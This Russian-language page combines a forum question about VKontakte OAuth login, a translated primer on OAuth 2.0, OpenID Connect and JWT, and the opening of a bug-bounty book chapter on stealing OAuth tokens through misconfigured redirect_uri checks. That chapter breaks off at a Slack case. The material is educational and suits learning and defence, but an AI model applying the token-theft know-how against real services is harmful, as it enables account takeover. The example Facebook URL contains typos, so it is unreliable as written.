Сервер ресурсов. Это собственно сервер на котором хранятся данные для доступа к которым все это (Oauth авторизация) была придумана. Это могут быть различные данные, например фотки, музыка, записи из социальной сети.
Приложение, может не всегда быть всем общепринятым приложением (программой) это может быть, а обычно так часто и есть, сервер. С помощью этого приложения пользователь хочет без пароля получить какие-то данные которыми он владеет. Например возьмем пример вконтакте или твитер. Чтобы использовать их API нужно зарегистрировать приложение у них на сайте ( в разделе разработчик), это подразумевает получения каких-то индентификаторов/ключей … строк текста, с помощью которых можно запрашивать у пользователя разрешение на доступ к данным. Например, чтобы делать авторизацию на сайте через Вконтакте, нужно зарегистрировать приложение, получить ключи/токен, и в тот момент когда пользователь хочет выполнить вход через Вконтакте пересылать этот ключ на сервер. Или же приложение для мобильного устройства через которое пользователь будет производить вход и доступ к данным.
Теперь, как происходит авторизация, в моем понимании.
Допустим пользователь Х хочет зайти на сайт S через социальную сеть вконтакте. Разработчик сайта заранее предусмотрел возможность авторизации через социальные сети и зарегистрировал свой сайт как приложение вконтакте, получил ключик/токен.
Пользователь, клацает на красивую кнопочку «Вход через Вконтакте». Что в этот момент происходит. Сайт(сервер) берет ранее полученный ключик, прикрепляет его к запрос и идет по ссылке, oauth.vk.com. (Передавая свой ключ в GET параметрах или POST не столь важно). Сервер oauth.vk.com смотрит, так такое приложение есть в базе, значит можно доверять.
Теперь интересный момент, если пользователь был ранее авторизирован Вконтакте,то ему показывают всплывающее окошко, «Вы разрешаете приложению…..». А вот если пользователь ранее не производил вход Вконтакте, то ему сначала предлагают ввести свой пароль и логин, а уже затем спросят разрешает ли он приложению……
После этого если пользователь нажал «Да», то сервер oauth генерирует токен доступа, который является своеобразным временным паролем. Записывает в базу сам токен и например дату истечения. Возвращает этот токен серверу (сайт с которого пользователь хотел войти ВК) по адресу указанному в Callback, сервер смотрит, забирает токен записывает себе в базу данных рядом с именем пользователя. Если же нет, получает отказ в каком-то виде.
Получив токен «приложение» имеет доступ к данным пользователя ( если нету ограничений на стороне сервера ресурсов). По сути если написать таким образом вредоносную программу, то можно после получения токен слить или удалить всю информацию пользователя. Имея данный токен. Мы можем использовать его в нескольких целях : использую как подтверждение того, что пользователь прошел авторизацию и теперь давать ему доступ к данным на нашем сайте (сайт с которого пользователь нажимал кнопку «Войти вконтакте») постоянно проверяя токен при доступе к приватным ресурсам на нашем сайте. То есть тот же пароль или сессия на стороне сервера (кукисы …). Или же с помощью нашего сайта делать что-то на странице пользователя вконтакте, загружать фото, делать посты……
Теперь вопросы которые возникли у меня, кроме главного (правильно ли я вообще понимаю).
Если перехватить токен, то можно использовать его как тот же пароль. В чем тогда преимущество? Можно ограничить ресурсы разными токенами? Он временный и через некоторое время уже будет недействительным, но если злоумышленник успеет сделать что-то раньше ?
То есть передавать токен как и пароль нужно в пост запросе по HTTPS протоколу, чтобы защищать его как тот же пароль?
Если я использую токен от Вконтакте как авторизацию на своем сайте, то каким образом поучать новый токен по истечению срока действия старого, заново запрашивать » Вы разрешаете приложению …. » через oauth сервер. Такого не встречал на сайтах, обычно один раз разрешил и все.
Данные способ авторизации удобен когда у пользователя есть какой-то глобальный аккаунт на доверенном сервере.Если же нужна авторизация на своем сервере только и без сторонних oauth серверов, следует использовать похожий принцип просто, при первой авторизации один раз передавать логин и пароль по HTTPS и получать токен уже непосредственно у сервера. Допустим интернет магазин и клиент Android.Первый раз логин и пароль, в ответ прилетает токен и доступ к API производить уже передавая этот токен.
Регистрация приложения является дополнительным уровнем безопасности, то есть чтобы не все могли попросить пользователя разрешить им доступ и получить токен.
Если приложение допускает авторизацию, как прямо на самом сервер (интернет магазин) так и через OAuth (вконтакте), то кто должен контроллировать время жизни токена во втором случае. В первом случае мы работаем непосредственно с нашими сервером(интернет магазин), а во втором случае мы передаем и используем токен полученный от внешнего сервера OAuth (vkontakte) каким образом нам нужно обновлять токен, просить об этом у oauth.vk.com или нам в данном Вконтакте больше не нужен, после выдачи первого токена и теперь сами на стороне сервера интернет магазина генеируем новые токены ?
Всем спасибо, кто дочитал это.
Скажите, правильно ли я вообще понимаю принцип работы? Если нет, то скажите пожалуйста где и что не так.
Спасибо всем огромное
Авторизация и аутентификация для всех
Оригинальная статья: Kim Maida — Authorization and Authentication For Everyone
Аутентификация и авторизация необходимы для многих приложений. Допустим, вы разработали приложение и внедрили в него аутентификацию и авторизацию — использовали для этого стороннюю библиотеку аутентификации или платформу идентификации. Выполнив свою работу, как обычно вы не стали разбираться, что происходит за кулисами, или почему что-то происходит определенным образом. Но если вы хотите получить общее представление о том, что происходит на самом при использовании стандартов OAuth 2.0 и OpenID Connect, читайте дальше!
Аутентификация — это сложно. Почему так? Стандарты Auth хорошо определены, но в них сложно разобраться. И это нормально! Мы собираемся пройти через это максимально доступным способом. Мы рассмотрим концепции идентификации шаг за шагом, опираясь на наши знания по мере продвижения вперед. К тому времени, когда мы закончим, вы должны иметь фундамент и знать, куда нужно обратиться если вам нужно будет больше информации.
Введение
Когда я говорил семье или друзьям, что я «работаю в identity», они часто предполагали, что это означает, что я работал в правительстве, в организации выдающей водительские права, или что я помогал людям разрешать мошенничество с кредитными картами.
Однако ни то, ни другое не было правдой. Ранее я работал в компании Auth0,, которая управляет цифровой идентификацией. (Сейчас я являюсь участником программы Auth0 Ambassadors и являюсь экспертом Google Developer по SPPI: Security, Privacy, Payments, and Identity — безопасность, конфиденциальность, платежи и идентификация.)
Цифровая идентификация
Цифровая идентификация это набор атрибутов, которые определяют отдельного пользователя в контексте функции, предоставляемой конкретным приложением.
Что это значит?
Скажем, вы управляете компанией по продаже обуви онлайн. Цифровой идентификацией пользователей вашего приложения может быть номер их кредитной карты, адрес доставки и история покупок. Их цифровая идентификация зависит от вашего приложения.
Это приводит нас к …
Аутентификация
В широком смысле, аутентификация относится к процессу проверки того, что пользователь является тем, кем он себя заявляет.
Как только система сможет установить это, мы приходим к …
Авторизация
Авторизация касается предоставления или отказа в правах доступа к ресурсам.
Стандарты
Вы можете вспомнить, что я упомянул, что аутентификация основывается на четко определенных стандартах. Но откуда эти стандарты берутся?
Есть много разных стандартов и организаций, которые управляют работой Интернета. Два органа, которые представляют для нас особый интерес в контексте аутентификации и авторизации, — это Инженерная рабочая группа по Интернету (Internet Engineering Task Force — IETF) и Фонд OpenID (OpenID Foundation — OIDF).
IETF (Internet Engineering Task Force)
IETF — это большое открытое международное сообщество сетевых инженеров, операторов, поставщиков и исследователей, которые занимаются развитием интернет-архитектуры и бесперебойной работой интернета.
OIDF (OpenID Foundation)
OIDF — это некоммерческая международная организация людей и компаний, которые стремятся обеспечить, продвигать и защищать технологии OpenID.
Теперь, когда нам известны спецификации и кто их пишет, давайте вернемся к авторизации и поговорим о:
OAuth 2.0
OAuth 2.0 является одной из наиболее часто упоминаемых спецификаций, когда речь идет о сети, а также часто неправильно представленной или неправильно понятой.
OAuth не является спецификацией аутентификации. OAuth имеет дело с делегированной авторизацией. Помните, что аутентификация — это проверка личности пользователя. Авторизация касается предоставления или отказа в доступе к ресурсам. OAuth 2.0 предоставляет доступ к приложениям от имени пользователей.
Как было до OAuth
Чтобы понять цель OAuth, нам нужно вернуться назад во времени. OAuth 1.0 был создан в декабре 2007 года. До этого, если нам требовался доступ к сторонним ресурсам, это выглядело так:
Допустим, вы использовали приложение под названием HireMe123. HireMe123 хочет настроить событие календаря (например, встречу на собеседование) от вашего имени (пользователя). HireMe123 не имеет собственного календаря; поэтому нужно использовать другой сервис под названием MyCalApp для добавления событий.
После того, как вы вошли в HireMe123, HireMe123 запросит у вас ваши учетные данные для входа в MyCalApp. Вы должны ввести свое имя пользователя и пароль на сайте HireMe123.
Затем HireMe123 используя ваш логин получить доступ к API MyCalApp, и затем сможет создавать события календаря с использованием ваших учетных данных.
Совместное использование учетных данных — это плохо!
Этот подход основывался на совместном использовании личных учетных данных пользователя из одного приложения с совершенно другим приложением, и это не очень хорошо.
Так как, HireMe123 поставил на карту защиты вашей учетной записи MyCalApp гораздо меньше. Если HireMe123 не защитит ваши учетные данные MyCalApp надлежащим образом, и они в конечном итоге будут украдены или взломаны, кто-то сможет написать несколько неприятных статей в блоге, но HireMe123 как бы останется в стороне.
HireMe123 также получает слишком большой доступ к MyCalApp от вашего имени. HireMe123 получает все те же привелегии, что и вы, потому что он использовал ваши учетные данные для получения этого доступа. Это означает, что HireMe123 может читать все ваши события календаря, редактировать их, изменять настройки и т. д.
Появление OAuth
Все эти недостатки приводит нас к OAuth.
OAuth 2.0 — это открытый стандарт для выполнения делегированной авторизации. Это спецификация, которая говорит нам, как предоставить сторонним пользователям доступ к API без предоставления учетных данных.
Используя OAuth, пользователь теперь может делегировать HireMe123 для вызова MyCalApp от имени пользователя. MyCalApp может ограничить доступ к своему API при вызове сторонними клиентами без риска совместного использования информации для входа или предоставления слишком большого доступа. Это делается с помощью:
Сервер авторизации
Сервер авторизации — это набор конечных точек (методов API) для взаимодействия с пользователем и выдачи токенов. Как это работает?
Давайте вернемся к ситуации с HireMe123 и MyCalApp, только теперь у нас есть OAuth 2.0:
MyCalApp теперь имеет сервер авторизации. Предположим, что HireMe123 уже зарегистрирован как известный клиент в MyCalApp, что означает, что сервер авторизации MyCalApp распознает HireMe123 как объект, который может запрашивать доступ к своему API.
Предположим также, что вы уже вошли в систему с HireMe123 через любую аутентификацию, которую HireMe123 настроил для себя. HireMe123 теперь хочет создавать события от вашего имени.
HireMe123 отправляет запрос авторизации на сервер авторизации MyCalApp. В ответ сервер авторизации MyCalApp предлагает вам — пользователю — войти в систему с помощью MyCalApp (если вы еще не вошли в систему). Вы аутентифицируетесь с MyCalApp.
Затем сервер авторизации MyCalApp запросит у вас согласие разрешить HireMe123 получать доступ к API MyCalApp от вашего имени. В браузере откроется приглашение, в котором будет запрошено ваше согласие на добавление в календарь событий HireMe123 (но не более того).
Если вы скажете «да» и дадите свое согласие, то сервер авторизации MyCalApp отправит код авторизации в HireMe123. Это позволяет HireMe123 знать, что пользователь MyCalApp (вы) действительно согласился разрешить HireMe123 добавлять события с использованием пользовательского (вашего) MyCalApp.
MyCalApp затем выдаст токен доступа для HireMe123. HireMe123 может использовать этот токен доступа для вызова MyCalApp API в рамках разрешенных вами разрешений и создания событий для вас с помощью MyCalApp API.
Ничего плохо больше не происходит! Пароль пользователя знает только MyCalApp. HireMe123 не запрашивает учетные данные пользователя. Проблемы с совместным использованием учетных данных и слишком большим доступом больше не являются проблемой.
А как насчет аутентификации?
На данный момент, я надеюсь, стало ясно, что OAuth предназначен для делегированного доступа. Это не распространяется на аутентификацию. В любой момент, когда аутентификация включалась в процессы, которые мы рассмотрели выше, вход в систему осуществлялся любым процессом входа в систему, который HireMe123 или MyCalApp реализовали по своему усмотрению. OAuth 2.0 не прописывал, как это должно быть сделано: он только покрывал авторизацию доступа сторонних API.
Так почему же аутентификация и OAuth так часто упоминаются вместе друг с другом?
Проблема входа в систему
То, что происходит после того, как OAuth 2.0 установил способ доступа к сторонним API, заключается в том, что приложение также требуется регистрировать пользователей у себя. Используя наш пример: HireMe123 нужно, чтобы пользователь MyCalApp мог залогиниться, используя свою учетную запись MyCalApp, даже несмотря на то, что он не был зарегистрирован в HireMe123.
Но, как мы упоминали выше, OAuth 2.0 предназначен только для делегированного доступа. Это не протокол аутентификации. Но это не помешало людям попытаться использовать его и для аутентификации, и это представляет проблему.
Проблемы с использованием токенов доступа для аутентификации
Если HireMe123 предполагает успешный вызов API MyCalApp с токеном доступа, достаточным что бы пользователь считался аутентифицированным, у нас возникают проблемы, поскольку у нас нет способа проверить, был ли выдан токен доступа правильному пользователю.
Например:
- Кто-то мог украсть токен доступа у другого пользователя
- Маркер доступа мог быть получен от другого клиента (не HireMe123) и введен в HireMe123
Это называется запутанной проблемой делегирования. HireMe123 не знает, откуда взялся этот токен и кому он был выдан. Если мы помним: аутентификация — это проверка того, что пользователь — это тот, кем он себя заявляет. HireMe123 не может знать это из-за того, что он может использовать этот токен доступа для доступа к API.
Как уже упоминалось, это не остановило людей от неправильного использования токенов доступа и OAuth 2.0 для аутентификации. Быстро стало очевидно, что формализация аутентификации поверх OAuth 2.0 была необходима, чтобы разрешить входы в приложения сторонних разработчиков, сохраняя безопасность приложений и их пользователей.
OpenID Connect
Это подводит нас к спецификации под названием OpenID Connect, или OIDC. OIDC — это спецификация OAuth 2.0, в которой говорится, как аутентифицировать пользователей. OpenID Foundation (OIDF) является руководителем стандартов OIDC.
OIDC — это уровень идентификации для аутентификации пользователей на сервере авторизации. Помните, что сервер авторизации выдает токены. Токены представляют собой закодированные фрагменты данных для передачи информации между сторонами (такими как сервер авторизации, приложение или API ресурса). В случае OIDC и аутентификации сервер авторизации выдает токены ID.
ID
ТокеныИдентификационные токены предоставляют информацию о событии аутентификации и идентифицируют пользователя. Идентификационные токены предназначены для клиента. Это фиксированный формат, который клиент может анализировать и проверять, чтобы извлечь идентификационную информацию из токена и тем самым аутентифицировать пользователя.
OIDC объявляет фиксированный формат для токенов ID, которым является JWT.
JSON Web Token (JWT)
JSON Web Tokens, или JWT (иногда произносится как «jot»), состоит из трех URL-безопасных сегментов строки, соединенных точками. Сегмент заголовка, сегмента полезной нагрузки и крипто сегмента.
Сегмент заголовка
Первый сегмент является сегментом заголовка (header segment). Он может выглядеть примерно так:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9
Сегмент заголовка — это объект JSON, содержащий в закодирован виде алгоритм и тип токена. Он закодирован в base64Url (байтовые данные представлены в виде текста, который является URL-адресом и безопасным для имени файла).
Декодированный заголовок выглядит примерно так:
{ "alg": "RS256", "typ": "JWT" }
Сегмент полезной нагрузки
Второй сегмент — это сегмент полезной нагрузки (payload segment). Он может выглядеть так:
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0
Это объект JSON, содержащий фрагмент данных называемый claim, который содержат информацию о пользователе и событии аутентификации. Например:
{ "sub": "1234567890", "name": "John Doe", "admin": true, "iat": 1516239022 }
Оно также кодируется в base64Url.
Крипто сегмент
Последний сегмент — крипто сегмент (crypto segment) или подпись (signature). JWT подписаны, поэтому они не могут быть изменены в процессе использования. Когда сервер авторизации выдает токен, он подписывает его с помощью ключа.
Когда клиент получает идентификационный токен, он также проверяет подпись с помощью ключа. (Если использовался алгоритм асимметричной подписи, для подписи и проверки используются разные ключи; в этом случае только сервер авторизации может подписывать токены.)
Claim
Claim можно перевести как требование, утверждение или как заявление.
Теперь, когда мы знаем об анатомии JWT, давайте поговорим подробнее об claim, этом фрагменте данных из сегмента полезной нагрузки. Согласно его названию, токены ID предоставляют идентификационную информацию, которая присутствует в формуле claim.
Аутентификационный Claim
Начнем с информации о событии аутентификации. Вот несколько примеров:
{ "iss": "https://{you}.authz-server.com", "aud": "RxHBtq2HL6biPljKRLNByqehlKhN1nCx", "exp": 1570019636365, "iat": 1570016110289, "nonce": "3yAjXLPq8EPP0S", ... }
Некоторые строки аутентификации в токене ID включают:
- iss (issuer — эмитент): издатель JWT, например, сервер авторизации
- aud (audience — аудитория): предполагаемый получатель JWT; для идентификаторов токенов это должен быть идентификатор клиента приложения, получающего токен
- exp (expiration time — время истечения): время истечения; идентификационный токен не должен быть принят после этого времени
- iat (issued at time — время выпуска): время, когда выдан идентификационный токен
Одноразовый номер nonce привязывает запрос авторизации клиента к полученному токену. Одноразовый номер — это криптографически случайная строка, которую клиент создает и отправляет с запросом авторизации. Затем сервер авторизации помещает одноразовый номер в токен, который отправляется обратно в приложение. Приложение проверяет, совпадает ли одноразовый номер в токене с отправленным с запросом авторизации. Таким образом, приложение может проверить, что токен пришел из того места, откуда он запросил токен.
Идентификационные данные (Identity Claim)
Claim также включают информацию о конечном пользователе. Вот несколько примеров таких данных:
{ "sub": "google-oauth3|102582972157289381734", "name": "Kim Maida", "picture": "https://gravatar[...]", "twitter": "https://twitter.com/KimMaida", "email": "[email protected]", ... }
Некоторые из стандартных строк профиля в токене ID включают:
sub
(subject): уникальный идентификатор пользователя; строка обязательнаemail
email_verified
birthdate
- etc.
После того как мы рассмотрели спецификации OAuth 2.0 и OpenID Connect пришло посмотреть, как применить наши знания в области идентификации.
Аутентификация с помощью ID токенов
Давайте посмотрим на OIDC аутентификацию на практике.
Обратите внимание, что это упрощенная схема. Есть несколько разных потоков в зависимости от архитектуры вашего приложения.
Наши объекты здесь: браузер, приложение, запущенное в браузере, и сервер авторизации. Когда пользователь хочет войти в систему, приложение отправляет запрос авторизации на сервер авторизации. Учетные данные пользователя проверяются сервером авторизации, и если все хорошо, сервер авторизации выдает идентификационный токен приложению.
Затем клиентское приложение декодирует маркер идентификатора (который является JWT) и проверяет его. Это включает в себя проверку подписи, и мы также должны проверить данные claim. Вот некоторые примеры проверок:
- issuer (
iss
): был ли этот токен выдан ожидаемым сервером авторизации? - audience (
aud
): наше приложение — целевой получатель этого токена? - expiration (
exp
): этот токен в течение допустимого периода времени для использования? - nonce (
nonce
): мы можем связать этот токен с запросом на авторизацию, сделанным нашим приложением?
После того как мы установили подлинность токена ID, пользователь проходит аутентификацию. Теперь у нас есть доступ к identity claims и мы знаем, кто этот пользователь.
Теперь пользователь аутентифицирован. Пришло время взаимодействовать с API.
Доступ к API с помощью токенов доступа
Мы немного поговорили о токенах доступа ранее, еще когда мы смотрели, как делегированный доступ работает с OAuth 2.0 и серверами авторизации. Давайте посмотрим на некоторые детали того, как это работает, возвращаясь к нашему сценарию с HireMe123 и MyCalApp.
Токены доступа
Токены доступа (Access Token) используются для предоставления доступа к ресурсам. С токеном доступа, выданным сервером авторизации MyCalApp, HireMe123 может получить доступ к API MyCalApp.
В отличие от токенов ID, которые OIDC объявляет как веб-токены JSON, токены доступа не имеют определенного формата. Они не должны быть (и не обязательно) JWT. Однако во многих решениях для идентификации используются JWT как маркеры доступа, поскольку есть готовый формат и он обеспечивает хорошую проверку.
В итоге HireMe123 получает два токена от сервера авторизации MyCalApp: токен идентификации (Token ID) (если проверка пользователя прошла успешна) и токен доступа (Access Token) для доступа к ресурсам конечному пользователю.
Токены доступа прозрачны для клиента
Токены доступа предназначены для API ресурса, и важно, чтобы они были прозрачны для клиента. Зачем?
Токены доступа могут измениться в любое время. У них должно быть короткое время истечения, поэтому пользователь может часто получать новые. Они также могут быть переизданы для доступа к различным API или использования разных разрешений. Клиентское приложение никогда не должно содержать код, который опирается на содержимое токена доступа. Код, который делает это, был бы хрупким и почти гарантированно сломался.
Доступ к ресурсным API
Допустим, мы хотим использовать токен доступа для вызова API из одностраничного приложения. Как это выглядит?
Мы рассмотрели аутентификацию выше, поэтому давайте предположим, что пользователь вошел в наше приложение JS в браузере. Приложение отправляет запрос авторизации на сервер авторизации, запрашивая токен доступа для вызова API.
Затем, когда наше приложение хочет взаимодействовать с API, мы присоединяем токен доступа к заголовку запроса, например, так:
# HTTP заголовок запроса Authorization: 'Bearer eyj[...]'
Затем авторизованный запрос отправляется в API, который проверяет токен с помощью промежуточного программного обеспечения middleware. Если все проверено, то API возвращает данные (например, JSON) в приложение, запущенное в браузере.
Это замечательно, но есть кое-что, что может произойти с вами прямо сейчас. Ранее мы заявляли, что OAuth решает проблемы с излишним доступом. Как это решается здесь?
Делегирование со Scopes
Как API узнает, какой уровень доступа он должен предоставить приложению, запрашивающему использование его API? Мы делаем это с помощью scopes.
Scopes (Области действия) «ограничивают возможности приложения от имени пользователя». Они не могут предоставлять привилегии, которых у пользователя еще нет. Например, если у пользователя MyCalApp нет разрешения на создание новых корпоративных учетных записей MyCalApp, scopes, предоставленные HireMe123, также никогда не позволят пользователю создавать новые корпоративные учетные записи.
Scopes делегируют управление доступом к API или ресурсу. Затем API отвечает за объединение входящих scopes с фактическими правами пользователя для принятия соответствующих решений по управлению доступом.
Давайте рассмотрим это на нашем примере.
Я использую приложение HireMe123, и HireMe123 хочет получить доступ к стороннему API MyCalApp для создания событий от моего имени. HireMe123 уже запросил токен доступа для MyCalApp с сервера авторизации MyCalApp. Этот токен содержит некоторую важную информацию, такую как:
sub
: (пользовательский ID на MyCalApp )aud
:MyCalAppAPI
(то есть этот токен предназначен только для API MyCalApp)scope
: write: events (scope — область действия, в которой говорится, что HireMe123 имеет право использовать API для записи событий в мой календарь)
HireMe123 отправляет запрос в API MyCalApp с токеном доступа в своем заголовке авторизации. Когда MyCalApp API получает этот запрос, он может увидеть, что токен содержит scope write: events.
Но MyCalApp размещает учетные записи календаря для сотен тысяч пользователей. В дополнение к рассмотрению scope в токене, промежуточному программному обеспечению (middleware) API MyCalApp необходимо проверить sub идентификатор пользователя, чтобы убедиться, что этот запрос от HireMe123 может только использовать мои привилегии для создания событий с моей учетной записью MyCalApp.
В контексте делегированной авторизации scopes (области действия) показывают, что приложение может делать от имени пользователя. Они являются подмножеством общих возможностей пользователя.
Предоставление согласия
Помните, когда сервер авторизации спрашивал пользователя HireMe123 о его согласии разрешить HireMe123 использовать привилегии пользователя для доступа к MyCalApp?
Этот диалог согласия может выглядеть примерно так:
HireMe123 может запросить множество различных областей, например:
write:events
read:events
read:settings
write:settings
- …etc.
В общем, мы должны избегать увеличения количества областей с правами пользователя. Тем не менее, можно добавить разные области для отдельных пользователей, если ваш сервер авторизации обеспечивает управление доступом на основе ролей (Role-Based Access Control — RBAC).
С RBAC вы можете настроить роли пользователей с определенными разрешениями на вашем сервере авторизации. Затем, когда сервер авторизации выдает токены доступа, он может включать роли определенных пользователей в свои области.
Ресурсы и что дальше?
Мы рассмотрели много материала, и даже не приблизились к рассмотрению всему что есть в области аутентификации и авторизации. Я надеюсь, что это была полезная статья по идентификации, авторизации и аутентификации.
В настоящее время я работаю над несколькими дополнительными постами в блоге, в которых более подробно рассматриваются веб-токены JSON, а также аутентификация и авторизация для приложений JavaScript.
Если вы хотите узнать больше, гораздо больше по этим темам, вот несколько полезных ресурсов для вас:
Выучить больше
Серия видеороликов Learn Identity в документах Auth0 — это лекционная часть нового учебного курса по найму для инженеров в Auth0, представленного главным архитектором Витторио Берточчи. Если вы хотите лично узнать, как это делается в Auth0, она абсолютно бесплатна и доступна для всех.
Спецификации OAuth 2.0 и OpenID Connect являются сложными, но как только вы ознакомитесь с терминологией и получите базовые знания об идентификации, они будут полезны, информативны и станут намного более удобочитаемыми. Почитать их можно здесь: The OAuth 2.0 Authorization Framework и OpenID Connect Specifications..
JWT.io — это ресурс о JSON Web Token, который предоставляет инструмент отладчика и каталог библиотек подписи/проверки JWT для различных технологий.
OpenID Connect Playground — это отладчик, который позволяет разработчикам шаг за шагом исследовать и тестировать вызовы и ответы OIDC.
Спасибо!
Если вы хотите пообщаться, я доступен в Твиттере на @KimMaida, и я также выступаю на конференциях и мероприятиях. Я надеюсь увидеть вас когда-нибудь, и большое спасибо за чтение!
Была ли вам полезна эта статья?
[7 / 4.7]Уязвимости в OAuth. Глава из книги «Ловушка для багов. Полевое руководство по веб-хакингу»
OAuth — это открытый протокол, который упрощает и стандартизирует безопасную авторизацию в вебе, на мобильных устройствах и в настольных приложениях. Он позволяет регистрироваться без указания имени пользователя и пароля. На сайтах он часто имеет вид кнопки для входа с помощью Facebook, Google, LinkedIn, Twitter и т. д. Уязвимости в OAuth связаны с конфигурацией приложения и возникают в результате ошибок в реализации. Учитывая их последствия и распространенность, они заслуживают обсуждения.
Несмотря на множество разновидностей, мы сделаем акцент на случаях, когда уязвимость в OAuth позволяет похитить аутентификационные токены и получить доступ к информации о жертве на сервере ресурса.
На момент написания у OAuth есть две версии, 1.0a и 2.0, которые несовместимы друг с другом. По OAuth написаны целые книги, но эта глава фокусируется на OAuth 2.0 и базовом рабочем процессе OAuth.
О книге
Перед тобой — 17-я глава из книги «Ловушка для багов. Полевое руководство по веб‑хакингу», которую мы публикуем с разрешения издательства «Питер».
Эта книга поможет в совершенствовании скиллов работы с вебом и рассказывает о методологии этичного веб‑хакинга. Читается она отлично, словно детективный рассказ. Каждая описываемая уязвимость имеет параметры: сложность, атакованный URL, URL страницы, где хакер описал проведенную атаку, дата подачи отчета и сумма выплаченного хакеру вознаграждения. Среди прочего есть описание удачного взлома PornHub.com.
Если бы здесь было только описание совершенных атак, то книга бы не имела практического применения. Поэтому автор анализирует каждое действие взломщика, выполненное им для достижения результата. Читателю не составит труда повторить описанные операции.
Для самых зеленых хакеров в книге есть глава, в которой целиком описывается операция проведения взлома веб‑ресурса, разобран каждый этап, среди которых: разведка перед атакой, составление списка поддоменов, сканирование портов, обнаружение содержимого, определение стека технологий и прочее.
А на сладкое припасены два приложения. В первом приведено описание используемых хакером приложений, а во втором даются ссылки на дополнительные видео и текстовые материалы по взлому сайтов.
Принцип работы OAuth
В процессе аутентификации на основе OAuth участвуют три стороны:
- Владелец ресурса — пользователь, пытающийся войти через OAuth.
- Сервер ресурса — сторонний API-интерфейс, который аутентифицирует владельца ресурса. Эту роль может играть любой сайт (Facebook, Google, LinkedIn и т. д.).
- Клиент — стороннее приложение, которое посещает/использует владелец ресурса. Имеет доступ к данным сервера ресурса.
При попытке аутентификации с помощью OAuth клиент запрашивает доступ к вашей информации у сервера ресурса (в данном случае у вас). Его может интересовать полный набор ваших данных или их часть, ограниченная областями видимости. Например, пользователи в Facebook имеют такие области видимости, как email
, public_profile
, user_friends
и т. д. Если выдать клиенту доступ только к email, он не сможет получить содержимое вашего профиля, список друзей и т. п.
Процесс первого входа в клиент с использованием Facebook в качестве демонстрационного сервера ресурса начинается, когда вы открываете страницу клиента и нажимаете кнопку Войти
. Клиент выполняет GET-запрос к конечной точке аутентификации, которая часто имеет такой путь: https://
. Shopify, к примеру, использует для OAuth страницу Google с URL-адресом https://<
.
В ответ на этот HTTP-запрос клиент перенаправляет вас к серверу ресурса, используя код 302. URL-адрес страницы перенаправления содержит следующие параметры, участвующие в процессе аутентификации:
-
client_id
идентифицирует клиент на сервере ресурса уникальным значением. -
redirect_uri
определяет, куда сервер ресурса должен направить браузер владельца после его аутентификации. -
response_type
определяет тип возвращаемого ответа. Обычно это токен или код. В случае возвращения токена пользователь сразу же получает доступ к информации на сервере ресурса. Если вы получили код, его нужно обменять на токен в ходе дополнительного этапа OAuth. - Параметр scope определяет права доступа, которые клиент запрашивает у сервера ресурса. В ходе первого запроса авторизации владельцу ресурса должно быть показано диалоговое окно, в котором он может просмотреть запрашиваемые области видимости и дать свое согласие.
-
state
— это случайное значение, предотвращающее подделку межсайтовых запросов. Оно должно присутствовать в HTTP-запросе к серверу ресурса. Это значение возвращается клиенту, чтобы злоумышленник не смог инициировать процесс аутентификации от имени другого пользователя.
URL-адрес, инициирующий процедуру OAuth с помощью Facebook, выглядит примерно так:
https://www.facebook.com/v2.0/dialog/oauth?dientjd=123&redirect_uri=https%3A%2F%2Fwww.<example>.com%2Foauth%2FcaNback&response_type=token&scope=email&state=XYZ
Получив ответ с кодом перенаправления 302, браузер отправляет серверу ресурса GET-запрос. Войдя на сервер ресурса, вы увидите диалоговое окно, с помощью которого можно одобрить области видимости, запрашиваемые клиентом. На рис. 17.2 показано, как веб‑сайт Quora (клиент) запрашивает доступ к информации у Facebook (сервера ресурса) от имени владельца ресурса.
Нажатие кнопки Continue as John (Продолжить как Джон) приводит к одобрению запроса сайта Quora на получение доступа к перечисленным областям видимости, включая профиль, список пользователей, дату рождения, родной город владельца ресурса и прочие сведения. Когда владелец нажмет кнопку, Facebook вернет HTTP-ответ с кодом 302, который перенаправит браузер обратно к странице с URL-адресом, указанным в параметре redirect_uri. Этот адрес также содержит токен и параметр state. Адрес перенаправления из Facebook в Quora может выглядеть так (изменено в целях демонстрации):
https://www.quora.com?access_token=EAAMH86O7b...GtKqljBZA8&expires_in=5625&state=F32AB83299DADDBAACD82DA
Сервер Facebook вернул токен access_token, с помощью которого клиент Quora мог сразу же получить доступ к информации о владельце ресурса. На этом участие владельца в процедуре OAuth завершено. Теперь клиент может напрямую обращаться к Facebook API за нужной ему пользовательской информацией.
Владелец сможет дальше использовать клиент, не зная о его взаимодействии с API-интерфейсом.
Рис. 17.2. Вход в Quora через Facebook с авторизацией областей видимостиНо если бы вместо access_token
сайт Facebook вернул код, клиенту Quora пришлось бы обменять его на токен, иначе он бы не смог запрашивать информацию у сервера ресурса. Для этого клиент и сервер взаимодействуют напрямую, без участия браузера владельца. Чтобы получить токен, клиент сам выполняет HTTP-запрос к серверу ресурса и передает в URL-адресе три параметра: code (код доступа) client_id
и client_secret
. Код доступа — это значение, которое сервер вернул через HTTP-перенаправление со статусом 302. Параметр client_secret
является конфиденциальным и должен храниться на стороне клиента. Он генерируется сервером ресурса на этапе конфигурации приложения и назначения client_id
.
Наконец, получив от клиента запрос с параметрами client_secret
, client_id
и code
, сервер проверяет эти значения и возвращает в ответ access_token
. После этого клиент получает возможность запрашивать у сервера информацию о владельце ресурса, и процедура OAuth считается завершенной. Обычно, если вы уже разрешили серверу ресурса предоставлять вашу информацию, при следующем входе в клиент через Facebook процедура OAuth выполняется в фоновом режиме. Это взаимодействие можно будет наблюдать только в случае мониторинга HTTP-запросов. Это поведение по умолчанию. Клиент может его изменить так, чтобы владелец ресурса заново аутентифицировался и одобрял области видимости, но это большая редкость.
То, насколько серьезной является уязвимость в OAuth, зависит от одобренных областей видимости, связанных с токеном. В этом вы сами убедитесь на следующих примерах.
Похищение OAuth-токенов на сайте Slack
- Сложность: низкая
- URL: slack.com/oauth/authorize/
- Источник: hackerone.com/reports/2575/
- Дата подачи отчета: 1 марта 2013 года
- Выплаченное вознаграждение: 100 долларов
Одна из распространенных уязвимостей в OAuth возникает, когда разработчик неправильно настраивает или сравнивает допустимые параметры redirect_uri
, позволяя злоумышленникам похитить OAuth-токены. Прахар Прасад информировал компанию Slack о том, что он может обойти ограничения, указанные в разрешенном адресе redirect_uri
